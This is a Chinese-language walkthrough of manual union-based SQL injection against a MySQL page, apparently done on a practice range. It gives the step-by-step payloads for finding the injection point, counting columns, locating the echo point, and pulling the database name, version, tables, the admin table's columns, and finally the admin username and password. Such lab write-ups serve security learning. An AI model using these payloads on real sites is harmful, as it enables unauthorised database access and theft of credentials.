第一步,判断是否存在sql注入漏洞
?id=1 and 1=1(and 1=1 可以去掉)
?id=1 and 1=2
第二步:判断字段数
?id=1 and 1=1 order by 1
?id=1 and 1=1 order by 2
?id=1 and 1=1 order by 3
第三步:判断回显点
?id=1 and 1=2 union select 1,2
第四步:查询相关内容
查询当前数据库名
?id=1 and 1=2 union select 1,database()
查询当前数据库版本
?id=1 and 1=2 union select 1,version()
查询当前数据库 表名
?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
查询字段名
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘admin’ limit 0,1
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘admin’ limit 1,1
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘admin’ limit 2,1
查询字段内容
?id=1 and 1=2 union select 1,username from admin limit 0,1
?id=1 and 1=2 union select 1,password from admin limit 1,1
?id=1 and 1=2 union select 1,password from admin limit 0,1
手工注入还不如用工具,太累人啦
手注思路:
1.找注入点 → 2.猜解表名 → 3.猜解列名 → 4.暴出字段内容
用一个手工注入的实验为例(MySQL)
猫舍
第一步,判断是否存在sql注入漏洞
构造?id=1 and 1=1,回车
页面返回正常
构造 ?id=1 and 1=2 ,回车
页面不正常,初步判断这里 可能 存在一个注入漏洞
第二步:判断字段数
构造 ?id=1 and 1=1 order by 1 回车
页面正常
构造 ?id=1 and 1=1 order by 2 回车
页面正常
构造 ?id=1 and 1=1 order by 3 回车
页面返回 错误,判断字段数为 2
第三步:判断回显点
构造 ?id=1 and 1=2 union select 1,2 回车
页面出现了 2 ,说明我们可以在数字 2 处显示我们想要的内容
第四步:查询相关内容
查询当前数据库名
构造 ?id=1 and 1=2 union select 1,database() 回车
查询当前数据库版本
构造 ?id=1 and 1=2 union select 1,version() 回车
查询当前数据库 表名
构造 ?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1 回车
(此处table_schema=database()要注意)
绝大数情况下,管理员的账号密码都在admin表里
查询字段名
构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘admin’ limit 0,1 回车
构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘admin’ limit 1,1 回车
构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘admin’ limit 2,1 回车
查出 admin 表里 有 id username password 三个字段
查询字段内容
构造 ?id=1 and 1=2 union select 1,username from admin limit 0,1 回车
构造 ?id=1 and 1=2 union select 1,password from admin limit 1,1 回车
limit 1,1 没有回显,说明只有一个用户
构造 ?id=1 and 1=2 union select 1,password from admin limit 0,1 回车
得到管理员账号和密码